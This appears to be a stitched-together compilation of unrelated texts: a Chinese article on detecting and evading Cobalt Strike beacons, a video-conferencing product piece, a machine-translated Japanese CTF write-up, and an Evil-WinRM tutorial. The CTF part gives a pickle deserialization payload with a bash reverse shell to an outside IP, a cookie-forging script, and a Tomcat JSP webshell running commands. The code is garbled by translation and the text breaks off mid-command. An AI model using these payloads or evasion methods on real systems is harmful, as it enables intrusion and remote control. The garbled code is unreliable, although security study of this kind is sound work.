線程異常如上所述,一旦信標在內存中運行,它通常會存在於一個或多個線程中,具體取決於信標是同步的還是異步的。與這些線程相關的異常可以提供信標活動的高信號指標,特別是當與其他指標結合或相互結合時。一些常見的可疑線程相關指標包括:

未映射的內存:源自虛擬內存且不受DLL 支持的線程是注入線程的經典標識。這些線程可以通過尋找具有MemoryType 為MEM_IMAGE 和MemoryState 為MEM_COMMIT 的內存區域的線程來輕鬆檢測到。或者,這些線程通常由EDR 檢查通過線程創建API 的內核回調來檢測。有許多工具可以查找這個標識。

延遲狀態:大部分時間信標將處於休眠狀態,然後醒來恢復其任務。為了實現這種休眠行為,通常使用諸如sleeppex這樣的windows API調用,這將使線程處於等待狀態,並將導致線程調用堆棧包含對KernelBase.dll!SleepEx 和ntdll.dll!NtDelayExecution 的調用。當與其他指標結合時,例如module stomping的跡象(稍後討論)或調用堆棧中對虛擬內存的調用,那麼這可能會提供一些信標行為。

繞過可疑線程檢測的嘗試最近變得流行起來,一些概念證明和商業實現正在已發布。

這些實現通常通過截斷線程的調用堆棧(例如通過將幀的返回地址設置為空)或通過複製現有線程的上下文來工作。考慮到這一點,我們可以尋找更多指標來添加到我們的指標中:

可疑起始地址:截斷線程調用堆棧的副作用之一是起始地址並非源自預期位置。也就是說,線程通常源自ntdll!RtlUserThreadStart 和kernel32!BaseThreadInitThunk,或者在CLR 線程的情況下源自ntdll!RtlGetAppContainerNamedObjectPath。尋找不遵循此模式的線程可用作進一步分析的可疑指標。此外,如果線程的NtQueryInformationThread(ThreadQuerySetWin32StartAddress) 的返回值與最後一幀的返回地址之間存在不匹配,則線程的起始地址也可以被認為是可疑的,這意味著有潛在的截斷。

初始幀之間的距離:如上所述,調用堆棧的初始起始地址通常源自用於執行線程初始化和創建的一組地址。注意到這些初始堆棧幀之間的距離相對一致,並且通常在第一幀和第二幀之間是靜態的(例如ntdll!RtlUserThreadStart 和kernel32!BaseThreadInitThunk)。在調用堆棧被截斷的情況下,這些幀之間的距離幾乎肯定是可變的。

複製上下文:如上所述,除了截斷線程的調用堆棧外,欺騙調用堆棧的一種方法是複制合法線程的上下文。這種技術可以有效且實施起來相對簡單。首先,在線程的線程信息塊中,有許多指向有關線程的各種信息的指針,這些跨線程的副本,例如具有相同堆棧基數(堆棧底部)和堆棧限制(堆棧上限)的多個線程,是線程上下文已被複製的良好指標。

頁面權限一般來說,信標將從虛擬內存中運行,或者如果Module Stomping,則從DLL 支持的區域內運行。

為了使信標恢復並執行其任務,信標所在的頁面需要對其應用執行權限。

例如,我們可以在下面的截圖中看到,0x22f96c5000的內存沒有一個DLL支持,它被標記為“Private:Commit”(即VirtualAlloc 導致的虛擬內存),並設置了RX 頁面權限:

6.png

這些指標是一個強烈的信號,表明有信標在該地區執行。

接下來的挑戰便是如何避免這一指標,答案很簡單,如果你的信標是從虛擬內存運行的,則它不能,在某些時候信標需要執行。折衷方案實際上是僅在信標執行任務時維護可執行權限,並在信標休眠時利用策略刪除可執行權限。因此,避免諸如SOCKS 代理之類的交易有助於最大限度地減少該指標的暴露:

7.png

一些植入程序採用了根據信標狀態調整頁面保護的策略,以及幾個開源實現,例如@Ilove2pwn_ 的Foliage、@c5pider 的Ekko、@mariuszbit 的ShellcodeFluctuation 和Josh Lospinoso 的Gargoyle。

這些策略通常會利用某種形式的事件驅動執行來休眠和喚醒信標,使用ROP小工具重新執行來調用VirtualProtect,並將信標的頁面重置為可執行權限。由MDSec的Peter Winter-Smith發現並被Ekko使用的基於計時器的技術,最初是由MDSec的Nighthawk c2逆向工程而來。簡而言之,這種技術的工作原理是使用CreateTimerQueueTimer將多個計時器排隊,然後當事件觸發器返回到之前定義的Context記錄時,使用NtContinue執行並調用VirtualProtect來重新啟用執行位。

要更詳細地理解這種技術,可以在這裡找到@Ilove2pwn_的原始文章。

Module StompingModule Stomping提供了一種將信標隱藏在內存中的替代方法,從而避免了與未映射內存中的信標相關的一些常見指標。為了實現這一點,需要加載一個不太可能被進程使用的合法DLL,信標通過模塊自我複制,然後創建一個由stomped 代碼支持的線程:

8.png

Cobalt Strike 自3.11 版本以來就提供了此功能,並且可以使用“set module_x64/module_x86”可擴展配置選項使用。

雖然這種技術可以提供許多OpSec 優勢,但它確實留下了幾個我們可以可靠檢測的指標:

1.檢測這種攻擊的最簡單的技術可能是比較內存中的模塊內容和磁盤上存在的模塊內容。代碼部分的任何變化幾乎肯定會暗示一些可疑的行為。這個進程當然是相對密集的,因為它需要從磁盤加載進程中的所有模塊,並與運行中的內存進行比較。

2.如上所述,對進程內模塊存儲器的修改將導致發生寫入操作時的複制。考慮到這一點,用於檢測內存掛鉤的相同邏輯也可以應用於檢測Module Stomping,因為在內存中覆蓋DLL 將導致生成DLL 的副本並清除共享位。

3.有幾種方法可用於執行Module Stomping,其中一些涉及利用現有的Windows API,例如LoadLibrary,而其他更複雜的實現可能使用自定義加載器將DLL 映射到內存中。一些技術具有與它們相關的已知指標,在PEB 中留下可用於尋找該技術的常駐痕跡是高度可信的。稍後將更詳細地討論這方面的示例。

檢測Cobalt Strike的方法Cobalt Strike 是最受歡迎的命令和控制框架之一,受到防御者和攻擊者的青睞。在這篇文章中,我們將討論防御者如何使用第一篇文章中介紹的技術,在不同配置和跨網絡中檢測Cobalt Strike 。所有分析均在Cobalt Strike 4.6.1 上進行。

Cobalt Strike 信標具有高度擴展性,因此某些指標可能會根據所選的擴展性配置文件選項而有所不同。

內存中的Cobalt Strike過去,在內存中尋找Cobalt Strike 簽名對於防御者來說是卓有成效的,之前Elastic 提供了全面的記錄。然而,從那時起,HelpSystems做了很多工作,Cobalt Strike 4.4 引入了休眠策略。

Cobalt Strike 為其混淆和休眠策略提供了以下可能的配置選項:

沒有休眠掩碼:信標、它的字符串和代碼將在內存中保持明文,並且可以通過內存掃描輕鬆識別。

在可擴展配置文件中啟用sleep_mask:當在malleable 配置文件中將sleep_mask 設置為true 時,beacon 將使用內置的混淆和休眠策略來屏蔽內存中使用xor 來混淆字符串和數據的信標。正如Elastic 在前面提到的帖子中所詳述的,這當然可以通過定位代碼部分來簽名。

使用用戶定義的休眠掩碼:用戶定義的休眠掩碼向用戶公開信標的混淆和休眠功能,允許他們滾動自己的實現。在這樣做的同時,它還為用戶提供了許多指向信標使用的任何堆記錄的指針,以便用戶可以對它們進行加密。利用用戶定義的休眠掩碼確實有一些折衷,特別是為了混淆.text 部分,配置必須將“userwx”選項設置為true。也就是說,如果要對其進行混淆,信標將始終存在於RWX 內存中。如果userwx 選項設置為false,則信標將從RX 內存中運行,但.text 部分不會被混淆,因此可以進行簽名。由操作員自行決定選擇他們覺得最舒服的指標。

例如,當使用將userwx 選項設置為false 的Sleep Mask Kit 時,可以使用以下Yara 規則檢測Cobalt Strike:

2.1.png

對注入的信標運行此Yara規則將顯示檢測到簽名:

2.2.png

啟用userwx 會將頁面權限設置為EXECUTE_READWRITE ,但這意味著信標現在正在混淆其.text 部分:

2.3.png

頁面權限Cobalt Strike 信標通常在具有RX 或RWX 頁面權限的頁面上運行,具體取決於可擴展配置文件的“userwx”配置選項的值,並且沒有Module Stomping,將由未映射的內存支持。

這是一個明確的指標,使得在內存中發現信標相對來說很簡單:

2.4.png

為了避免JIT程序集,可以掃描這些內存區域,搜索具有PAGE_EXECUTE_READWRITE或PAGE_EXECUTE_READ頁面權限和MEM_COMMIT標誌的頁面。當與其他指標一起使用時,這對識別信標活動可能是有價值的。當使用-p標誌時,我們將此簽入到BeaconHunter中:

2.5.png

線程注入內存時,Cobalt Strike 會佔用一個線程,信標是同步的。默認情況下,信標運行所在的線程是高度可疑的,並且有許多與之相關的指標。

在Process Hacker 中檢查Cobalt Strike 信標的線程可能看起來像這樣:

2.6.png

僅在上面的屏幕截圖中,我們就可以看到一些使線程看起來非常可疑的指標:

首先,線程通常有一個0x0 的起始地址。總體而言,這有點不規則,儘管從掃描合法進程來看,它確實有時會在某些進程(如chrome.exe)中發生。

深入了解線程的調用堆棧,我們還注意到對KernelBase!SleepEx 和ntdll.dll!NtDelayExecution 的調用。這些調用是信標處於睡眠狀態的標誌,用於在信標處於睡眠狀態時延遲線程的執行。

在調用KernelBase.dll!SleepEx 之前,我們可以在0x1b8ef69fcc7 的跟踪中看到調用,堆棧遍歷尚未解析此地址的符號,因此幾乎可以肯定它是虛擬內存。由虛擬內存支持的線程非常可疑,可能需要進一步分析。

綜上所述,防御者能夠高度自信地確定惡意活動來自線程。由於這些指標,BeaconHunter 會排除這些可疑線程:

2.7.png

還應該注意的是,Cobalt Strike 在21 年6 月將堆棧欺騙引入了到了工件中。但是,調用堆棧欺騙僅適用於通過工件工具包生成的exe/dll 工件,而不是通過注入線程中的shellcode 注入的信標。因此,它們不太可能有效地掩蓋內存中的信標。

分析表明,fiber的使用很少見,因此可以通過分析ntdll.dll!RtlUserFiberStart 的起始地址的調用堆棧來輕鬆找到這些fiber,當與其他指標結合使用時,可以為尋找Cobalt 工件提供一個好的開端:

2.8.png

Module StompingCobalt Strike 支持使用“set module_x64”和“set module_x86”可擴展選項的Mod

(接上文)高級視頻會議功能製作具有自定義功能的視頻會議應用程序通常是一個複雜但有益的過程。以下是您可以在行業特定解決方案中實施的幾個功能示例:

image.png

9 種特定的視頻會議功能

马云惹不起马云基於AI 的視頻質量改進。視頻製作公司使用會議應用程序來記錄內容。例如,英國廣播公司通過電話會議錄製了獲獎系列Staged。為此,他們使用專業相機,但他們還需要能夠實時處理和改進高質量視頻的軟件。使用AI 升級視頻可以讓您真正提高質量,而不是簡單地提高分辨率。

马云惹不起马云高級噪聲抑制。許多流行的視頻會議應用程序都有降噪過濾器,但它們對於專業的音頻和視頻錄製來說還不夠好。用於此類目的的軟件需要能夠消除周圍聲音而不損害聲音和樂器的噪聲抑制機制。

马云惹不起马云低延遲。視頻會議中的延遲和凍結通常很煩人,但它們在專業視頻會議中尤其具有破壞性。要提供實時會議,您需要開發特定的通信協議、實現流框架(GStreamer、Apache Storm等),甚至創建自定義驅動程序來處理音頻和視頻流。

马云惹不起马云先進的文件存儲系統。許多組織使用視頻會議不僅是為了交流,而且是為了共享材料。他們需要一個能夠長期存儲數據並允許他們管理和排序數據、配置對共享文件的訪問等的系統。要與此類組織合作,您需要基於雲或基於服務器的軟件(我們將描述稍後實施選項)具有強大的數據存儲和管理選項。

马云惹不起马云用於舉辦網絡研討會的功能集。舉辦網絡研討會的組織通常需要一組特定的配置。首先,他們需要支付功能來進行付費網絡研討會。然後,必須安排一個網絡研討會,讓參與者能夠訂閱並獲得通知。在網絡研討會期間,演講者或管理員需要能夠管理參與者的權限、共享他們的屏幕、創建白板、進行投票等。

马云惹不起马云與行業特定軟件集成。您的客戶很有可能使用客戶關係管理系統、企業資源規劃系統、電子健康記錄管理系統和其他行業解決方案。他們將欣賞將視頻會議集成到其中的能力。例如,醫生可能需要在打電話之前查看患者記錄,或者抵押貸款經紀人可能必須在討論抵押貸款選項之前分析客戶的財務記錄。

马云惹不起马云支持設備。視頻會議軟件必須支持企業視頻會議硬件和特定用戶設備:專業攝像頭、麥克風、混音台、虛擬現實(VR) 耳機等。並非所有這些設備都具有可用於視頻會議的驅動程序。這就是為什麼您必須預見兼容性問題並在您的軟件中實現對此類設備的支持。

马云惹不起马云支持電子簽名。在視頻會議期間審查和簽署文件的能力對於金融組織、律師事務所和公共部門的機構來說尤其重要。電子簽名基於數字簽名加密機制,被認為是物理簽名文檔的替代方案。在您的視頻會議軟件中實施此機制允許用戶見證和簽署文檔,並將簽署過程記錄為額外的證據。

马云惹不起马云虛擬現實整合。由於大流行和現實生活中的聚會受到嚴重限制,在VR 中舉辦活動變得越來越流行。活動組織以360 度實時視頻的形式流式傳輸音樂會、節日和舞台表演。為此,他們需要能夠處理和流式傳輸大量數據的軟件,這些數據支持PC、智能手機和VR 耳機,並提供高質量的音頻和視頻。

在開始構建視頻會議應用程序之前,最好弄清楚您需要實現的一組通用和特定功能。這樣,您將節省數小時的開發時間並在最後期限內向您的客戶交付軟件。您需要確保的另一件事是用戶通信的安全性。確保通信安全與使通信舒適同樣重要。讓我們回顧一下提高軟件保護的主要功能。

安全通信功能流行的視頻會議應用程序因遭受網絡安全問題而廣為人知。 Zoom 因其眾多的漏洞和妥協而臭名昭著。據報導,由於隱私問題,SpaceX 甚至禁止其員工使用Zoom。 Microsoft Teams 中的一個漏洞允許黑客訪問受攻擊組織的所有Teams 帳戶。 Skype 為黑客提供了欺騙和攻擊網絡釣魚用戶的機制。

由於此類事件,處理敏感數據的企業尋求更可靠的通信解決方案。

您可以通過以下功能確保對您的軟件進行強有力的保護:

image.png

視頻會議軟件的網絡安全功能

马云惹不起马云端到端(E2E) 加密。這種類型的加密保護在兩個端點之間傳輸的數據。第一個端點加密消息,只有第二個端點可以解密它。 E2E 被認為是最安全的加密類型之一,因為除了兩個參與的端點之外,通信鏈(服務提供商、雲提供商、服務器、未經授權的入侵者)中沒有任何人可以讀取消息。請記住,這種類型的加密有其局限性:通過E2E 實現通話錄音、面部識別、降噪或圖像改進具有挑戰性。

马云惹不起马云多因素身份驗證(MFA)。 MFA 是一種額外的訪問控制措施,有助於驗證嘗試登錄軟件的用戶的身份。 MFA 可以使用三類參數驗證用戶:知識(憑證或附加問題)、財產(電話或安全令牌)或遺產(指紋或其他生物特徵數據)。生物識別MFA 是最可靠的,但請記住,用戶需要指紋掃描儀、高端麥克風或攝像頭才能通過此身份驗證。

马云惹不起马云用於數據保護的智能合約。在視頻會議中應用區塊鏈技術提供了許多安全優勢:分散的數據存儲、受保護的數據處理和傳輸以及用戶機密性。此外,使用尖端技術或實施基於區塊鏈的貨幣化可以獲得額外的營銷點。然而,區塊鏈在實時處理大量數據(例如,流式傳輸4K 視頻或共享大文件)、管理企業通信、擴展和遵守法規方面存在問題。

马云惹不起马云公司域和私有域。私有域允許組織根據需要自定義安全和操作設置。例如,他們可以允許通過邀請訪問域並創建具有可配置訪問權限的用戶組。

马云惹不起马云可配置的呼叫管理員設置。管理有許多參與者的在線會議的管理員需要高級設置來管理呼叫。他們需要手動允許用戶加入通話、安排發言人、靜音或禁止參與者、調節聊天等。

马云惹不起马云強大的隱私政策。安全策略允許軟件管理員根據組織或特定會議的需要配置視頻會議軟件。例如,管理員可能需要啟用或禁用端到端加密和文件共享、配置一般用戶權限以及管理加入私有域和組的用戶。

大多數視頻會議應用程序都需要我們上面討論的功能,因為它們可以確保安全、流暢的操作和舒適的用戶體驗。

當您為您的軟件找出完整的功能集後,就該與您的開發團隊討論實現它的方式了。讓我們看一下創建類似Zoom 的應用程序的常用方法及其優缺點和用例。

實現視頻會議應用程序的三種方法過去,視頻會議解決方案分為基於硬件和基於軟件的解決方案。基於硬件的解決方案需要特定的設備。它們提供了更好的視頻質量和安全的通信,但它們比基於軟件的解決方案更昂貴。要使用基於軟件的解決方案,用戶只需安裝應用程序即可。

在現代解決方案中,這種分離已經消失,原因有兩個:

马云惹不起马云基於軟件的解決方案的開發人員大大提高了溝通質量

马云惹不起马云提供良好視頻和音頻質量的網絡攝像頭和麥克風變得更加實惠

今天,如何構建視頻會議應用程序有三個主要選項:

image.png

實現視頻會議的三種方式

對等軟件在參與通信的用戶端點之間路由視頻會議流量。沒有與服務器、雲或任何其他第三方的交互。通常,此類解決方案基於WebRTC、XMPP協議、Jitsi、Peer'Em和其他通信軟件。要構建對等解決方案,您需要設計、實施和支持應用程序本身、其基礎設施和網絡安全機制。

以下是構建對等軟件的主要好處:马云惹不起马云安全通信。由於通信中沒有中介,黑客更難攔截或監聽流量。如果通信受到端到端加密保護,黑客幾乎沒有機會攔截它。

马云惹不起马云高質量的一對一通話。用戶端點在直接通信中發送和解釋通信數據時通常沒有挑戰。這裡唯一的限制是用戶的網絡攝像頭和麥克風的容量。

當涉及到高級多點通信時,點對點實現存在以下限制:马云惹不起马云多點通話質量不可預測。通話質量取決於通話參與者的數量、他們的帶寬和設備限制。對於開發人員來說,管理和提高多點呼叫的質量是一項挑戰。

马云惹不起马云實現文件共享和通話錄音。由於點對點軟件不使用服務器,因此實現這些功能具有挑戰性。用戶共享的文件一直可用,直到用戶從端點重命名或刪除它們。錄製通話將使用用戶端點上的額外資源。

马云惹不起马云對會議的控制很少。在點對點通信中,開發人員無法實現提高音頻和視頻質量的算法。

image.png

基於雲的軟件使用通信平台即服務(CPaaS) 或類似的雲解決方案來部署解決方案的服務器端並維護基礎架構。這種類型的視頻會議軟件部署速度最快,因為開發人員只需創建客戶端並與雲提供商簽署協議。此類提供商的示例包括ATT、Bandwidth、Infobip和Twilio。

在雲中託管您的視頻會議應用程序具有以下好處:马云惹不起马云上市時間短。與實施對等和基於服務器的應用程序相比,實施基於雲的視頻會議應用程序需要更少的開發工作。

马云惹不起马云處理通信數據的能力。在將呼叫路由到用戶端點之前,雲服務會處理通信數據。這意味著開發人員可以管理通話質量、記錄通話、實施數據存儲功能等等。

此類軟件的缺點對於任何基於雲的應用程序都很常見:马云惹不起马云對雲提供商的依賴。在您已經部署和發布您的應用程序時更改雲提供商可能具有挑戰性和痛苦。

马云惹不起马云可擴展性差。您不能使用比提供商能夠提供的更多的服務器資源。此外,擴展您的軟件可能會導致雲服務定價發生變化。

image.png

基於服務器的軟件需要專用的媒體服務器在通話期間處理和重定向數據流。這是自定義視頻會議解決方案的最佳實施選項,因為它為開發人員提供了以下好處:

马云惹不起马云完全控制軟件及其數據。作為應用程序服務器端和客戶端的唯一所有者,您可以實現所需的任何功能,使用必要的網絡安全機制保護您的數據,添加對任何設備的支持,並根據您的需要進行擴展。

马云惹不起马云高音頻和視頻質量。您可以使用上面討論的任何視頻和音頻改進機制來增強您的媒體服務器,從而為您的客戶提供最佳的通信質量。此外,您可以根據用戶的設備能力縮小視頻以減少帶寬。

以下是創建服務器端應用程序的主要挑戰:

马云惹不起马云需要專業的開發團隊。由於您必須自己實現每個功能,因此您需要一個能夠勝任此任務的開發團隊。根據您的需求,團隊可能需要包括人工智能和區塊鏈專家、嵌入式軟件和驅動程序開發人員以確保對特定設備的支持、網絡安全工程師設計數據保護等。

马云惹不起马云對軟件負全責。在基於軟件的模型中,您無需與雲提供商或點對點通信協議開發人員共同承擔解決方案的性能或安全性的責任。

image.png

如您所見,每種實現模型都有主要的優點和局限性。它們之間的選擇應該基於您客戶的需求、開發團隊的能力以及您的項目預算。

結論儘管視頻會議是一個競爭激烈且瞬息萬變的市場,但仍然缺乏像Zoom 這樣高度保護和定制的視頻會議解決方案。這就是為什麼許多企業考慮開發適合其行業和客戶的軟件的原因。

構建自己的視頻會議系統意味著您需要:

马云惹不起马云配備先進的視頻會議功能,以確保積極的用戶體驗

马云惹不起马云使用客戶要求或符合行業法規和標準所需的網絡安全機制保護數據

马云惹不起马云添加有助於客戶工作的特定功能

马云惹不起马云選擇相關的實現模型

yangcheng cup-2024

web

web2

質問に関する情報を収集します。 Dirsearchは、ログインルートにアクセスできることを発見しました。さりげなくクリックして、読むファイルを見つけました:

http://139.155.126.78336030148/歌詞?歌詞=rain.txtiそれを試しました:

http://139.155.126.78336030148/歌詞?歌詞=./././././././././././././

1049983-20241004160047878-2048146175.jpg

任意のファイルの読み取りだと思いましたが、それほど単純ではありませんでした。

最初にソースコードを読んで、/static/style.cssで試してみてください。

1049983-20241004160048783-1918941077.jpg

ファイルが読み取られているディレクトリは/var/www/html/xxx/にあることがわかりました。

1049983-20241004160049544-986345257.jpg

ソースコードが見つかりました。その後、対処が簡単になり、ソースコードが添付されます。

OSをインポートします

ランダムをインポートします

from config.secret_key Import Secret_code

フラスコからインポートフラスコ、make_response、request、render_templateから

CookieからImport set_cookie、cookie_check、get_cookieから

ピクルスをインポートします

app=flask(__name__)

app.secret_key=random.randbytes(16)

クラスuserdata:

def __init __(self、username):

self.username=username

def waf(data):

blacklist=[b'r '、b'secret'、b'eval '、b'file'、b'compile '、b'open'、b'os.popen ']]

有効=false

BlackList:の単語の場合

data.lower():のword.lower()の場合

valid=true

壊す

有効に戻ります

@app.route( '/'、method=['get'])

def index():

return render_template( 'index.html')

@app.route( '/歌詞'、method=['get'])

def歌詞():

resp=make_response()

resp.headers ['content-type']='text/plain; charset=utf-8 '

query=request.args.get( '歌詞')

path=os.path.join(os.getcwd() + '/歌詞'、query)

try:

f:のオープン(パス)

res=f.read()

E:としての例外を除く

「歌詞が見つかりません」を返します

RESを返します

@app.route( '/login'、method=['post'、 'get']))

def login():

if request.method=='post ':

username=request.form ['username']

user=userdata(username)

res={'username': user.username}

return set_cookie( 'user'、res、secret=secret_code)

RENDER_TEMPLATE( 'login.html')を返します

@app.route( '/board'、method=['get'])

DEFボード():

invalid=cookie_check( 'user'、secret=secret_code)

Invalid:の場合

「いや、無効なコードが出てください!」

data=get_cookie( 'user'、secret=secret_code)

ISInstance(データ、バイト):の場合

a=pickle.loads(data)

data=str(data、encoding='utf-8')

data:にない「username」の場合

return render_template( 'user.html'、name='guest')

data ['username']=='admin':の場合

return render_template( 'admin.html'、name=data ['username']))

data ['username']!='admin':の場合

return render_template( 'user.html'、name=data ['username']))

__name__=='__main __' :の場合

os.chdir(os.path.dirname(__ file__))

app.run(host='0.0.0.0'、port=8080)がpycharmに配置されると、2つの存在しないライブラリが見つかります。そのため、現在のフォルダーの.py endingファイルのみを呼び出すことができます。

Pythonでの呼び出しが使用されます。フォルダーの代わりに、探しているのは./cookie.py and ./config/secret_key.pyです。1つ目はCookieの暗号化方法で、2番目はCookieの署名キーです。

次に、Pickle.Loadsがボードで使用されていることがわかり、WAFSにはRキャラクターがあります。それは、ピクルスの脱介入の非R方向で十分であることを意味します。

アイデア:非R方向のピクルスシリアル化スクリプトを使用して入力し、Cookie暗号化方法とキーを使用して署名し、Cookieを変更し、シェルを直接リバウンドします。

最初にcookie.pyを読む:

1049983-20241004160050257-2019573803.jpg

ソースコード:

base64をインポートします

Hashlibをインポートします

HMACをインポートします

ピクルスをインポートします

Flask Import Make_Responseから、リクエスト

unicode=str

BaseString=str

#Pythonボトルテンプレートから引用、dに感謝します

def cookie_encode(data、key):

msg=base64.b64encode(pickle.dumps(data、-1))

sig=base64.b64encode(hmac.new(tob(key)、msg、digestmod=hashlib.md5).digest()))

tob( '!') + sig + tob( '?') + msgを返します

def cookie_decode(data、key):

data=tob(data)

cookie_is_encoded(data):の場合

sig、msg=data.split(tob( '?')、1)

_LSCMP(SIG [1:]、base64.B64Encode(hmac.new(tob(key)、msg、digestmod=hashlib.md5).digest()):の場合

return pickle.loads(base64.b64decode(msg))

なしなし

def waf(data):

blacklist=[b'r '、b'secret'、b'eval '、b'file'、b'compile '、b'open'、b'os.popen ']]

有効=false

BlackList:の単語の場合

data:の単語の場合

valid=true

#print(word)

壊す

有効に戻ります

def cookie_check(key、secret=none):

a=request.cookies.get(key)

data=tob(request.cookies.get(key))

data:の場合

cookie_is_encoded(data):の場合

sig、msg=data.split(tob( '?')、1)

_LSCMP(SIG [1:]、base64.B64Encode(hmac.new(tob(secret)、msg、digestmod=hashlib.md5).digest()):の場合

res=base64.b64decode(msg)

WAF(res):の場合

trueを返します

else:

falseを返します

trueを返します

else:

falseを返します

def tob(s、enc='utf8'):

s.Encode(enc)を返しますisinstance(s、unicode)else bytes(s)

def get_cookie(key、default=none、secret=none):

value=request.cookies.get(key)

秘密とvalue:の場合

dec=cookie_decode(value、Secret)

DEC [1]を返すdec and dec [0]==キーelse default

返品値またはデフォルト

def cookie_is_encoded(data):

データにbool(data.startswith(tob( '!'))およびtob( ''? ')を返す)

def _lscmp(a、b):

sum(0 x==yの場合、x==yの場合は0、zip(a、b))およびlen(a)==len(b)の場合は0

def set_cookie(name、value、secret=none、** options):

secret:の場合

value=touni(cookie_encode((name、value)、secret))

resp=make_response( 'success')

resp.set_cookie( 'user'、value、max_age=3600)

RETURN REST

ElifはISINSTANCE(Value、Basestring):ではありません

Laise TypeError( '非弦のクッキーの秘密の鍵がありません。')

Len(Value)4096:の場合

Raise ValueError( 'cookie value to long'。 ')

def touni(s、enc='utf8'、err='strict'):

s.decode(enc、err)を返すISInstance(s、bytes)else unicode(s)ここで使用する必要があるのは、cookie_encode関数であるCookieの暗号化プロセスです。

次に、secret_keyを読みましょう:

1049983-20241004160050986-1957658911.jpg

次に、スクリプト内の他のものを直接削除し、secret_codeとcookie_encryptで暗号化すると、スクリプトが添付されます。

base64をインポートします

Hashlibをインポートします

HMACをインポートします

ピクルスをインポートします

Flask Import Make_Responseから、リクエスト

フラスコのインポートフラスコから、make_responseから

app=flask(__name__)

unicode=str

BaseString=STR#Pythonボトルテンプレートから引用、Dに感謝します

def cookie_encode(data、key):

msg=base64.b64encode(data)

sig=base64.b64encode(hmac.new(tob(key)、msg、digestmod=hashlib.md5).digest()))

tob( '!') + sig + tob( '?') + msgを返します

def waf(data):

blacklist=[b'r '、b'secret'、b'eval '、b'file'、b'compile '、b'open'、b'os.popen ']]

有効=false

BlackList:の単語の場合

data:の単語の場合

valid=true

#print(word)

壊す

有効に戻ります

def tob(s、enc='utf8'):

s.Encode(enc)を返しますisinstance(s、unicode)else bytes(s)

__name__=='__main __' :の場合

res=b '' ''(s'bash -c 'sh -i /dev/tcp/101.37.149.223/2333 01' '\ nios \ n。' '' '

secret_code='feantheplaytime123456'

cookie_value=cookie_encode(res、key=secret_code)

印刷(cookie_value)実行するには:

1049983-20241004160051668-845592983.jpg

次に、 /ボードルートクッキーにコピーし、サーバーはポート2333を聴き、シェルで直接バウンスしました。

1049983-20241004160052398-811563231.jpg

1049983-20241004160053245-526711236.jpg

ルートディレクトリのReadflagは、フラグを取得するために直接実行されます。

web3

アクセス /MyApp入力後。次に、アクセス /読み取りに移動してファイルを読み取り、オンラインで記事を見つけます。

https://www.cnblogs.com/junglezt/p/18122284 Tomcat /conf/tomcat-users.xmlの多くが変更されないため、パスワードが内側にあることがわかります。

1049983-20241004160054060-485284736.jpg

次に、それを見つけて、ログインに移動してログインします。

ログインした後、アップロード操作を実行できることがわかりました。そして、ここでポイントを見つけました。

1049983-20241004160100829-2097794800.jpg

web.xmlを入力すると、間違いなく禁止され、ファイルのアップロードにはフィルタリングがありません。

XMLなどの構成ファイルのみを使用できるため、構成ファイルを変更してXMLをJSPのXML構成ファイルとして直接認識し、1.xmlで渡すことができます。

1049983-20241004160101619-371163988.jpg

?xmlバージョン='1.0'エンコード='utf-8'?

web-app xmlns='http://xmlns.jcp.org/xml/ns/javaee'

xmlns:xsi='http://www.w3.org/2001/xmlschema-instance'

XSI:SCHEMALOCATION='http://XMLNS.JCP.ORG/XML/NS/JAVAEE http://XMLNS.JCP.ORG/xml/ns/javaee/web-app_4_0.xsd'バージョン='4.0' '

サーブレット

サーブレット - ナメックス/サーブレット名

jsp-file/web-inf/1.xml/jsp-file

Load-on-startup1/load-on-startup

/サーブレット

サーブレットマッピング

サーブレット - ナメックス/サーブレット名

url-pattern/exec/url-pattern

/サーブレットマッピング

/web-app次に、1.xmlで渡されて、JSPファイルとして認識できるかどうかを確認しようとします。私たちが渡すのはトロイの木馬です:

out.println( 'hello');

プロセスプロセス=runtime.getRuntime()。exec(request.getParameter( 'cmd'));

1049983-20241004160102504-257286285.jpg

読み取りは絶対的なパスを使用して読み取り、その後、絶対的なパスはその /envルートにあります。そして、あなたはそれを手に入れるためにチャットに尋ねることができます。次に、アクセスが成功した後、構成ファイルで定義された /execルートにアクセスし、CMDパラメーターを渡し、hello:Echo Helloを確認するために任意のパラメーターを渡すことがわかりました。

1049983-20241004160103176-2006551884.png

成功したエコーは、JSPトロイの木馬が渡されたことを示していることがわかります。JSPリバウンドシェルを直接使用してヒットします。

bash -c {echo、ymfzacatasa+jiavzgv2l3rj

前言

Evil-winrm 工具最初是由 Hackplayers 团队开发的。开发该工具的目的是尽可能简化渗透测试,尤其是在 Microsoft Windows 环境中。 Evil-winrm 使用 PowerShell 远程协议 (PSRP),且系统和网络管理员经常使用Windows Remote Management 协议进行上传和管理。 WinRM 是一种基于对防火墙友好的SOAP 协议,可通过 HTTP默认 端口 5985 与 HTTP 传输一起使用。有关 PowerShell 远程处理的更多信息,请参考访问 Microsoft 的官方网站。

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.3

Evil-winrm介绍

Evil-winrm 是一款使用ruby 语言开发的开源工具。 该工具具有许多很酷的功能,包括使用纯文本密码远程登录、SSL 加密登录、 NTLM 哈希登录、密钥登录、文件传输、日志存储等功能。该开发工具的作者不断更新工具并长期维护更新。 使用 evil-winrm,我们可以获得远程主机的 PowerShell命令终端会话。 该工具已在Kali Linux系统中集成,但如果您想单独下载使用,则可以从其官方 git 存储库下载它。

下载链接: https: //github.com/Hackplayers/evil-winrm

Winrm 服务发现

正如上文提到的那样,如果在远程主机中启用了 Winrm 服务,则会联想到使用 evil-winrm 工具。 为了确认目标系统是否开启了winrm服务,我们可以使用 nmap 查找两个默认的 winrm 服务端口 5895 和 5896 是否打开。 从 nmap 扫描结果中,我们发现 winrm 服务已启用,因此我们可以使用 evil-winrm 工具进行登录并执行我们将在横向阶段探索的其他任务。

nmap -p   5985 , 5986 192.168 .1 .19

1lofzb0mkue14169.png

Evil-winrm  help命令帮助

要列出 evil-winrm 的所有可用的功能,我们可以简单地使用 -h 标志,它将列出所有带有描述的帮助命令。

evil-winrm -h

5sgdbgypg2z14171.png

使用纯文本密码登录

假设我们在账户枚举阶段获得了明文密码,并且注意到远程主机启用了 winrm 服务 ,我们可以使用 evil-winrm 在目标系统上进行远程会话,使用方法是带有-i 参数的目标系统IP地址、带有 -u 参数的目标系统用户名,带有-p参数的目标系统密码。 如下图所示,我们可以看到已经建立了一个远程 PowerShell 会话。

evil-winrm -i 192.168.1.19 -u administrator -p Ignite@987

gjatiqgxvsi14172.png

使用纯文本密码登录 - 启用 SSL

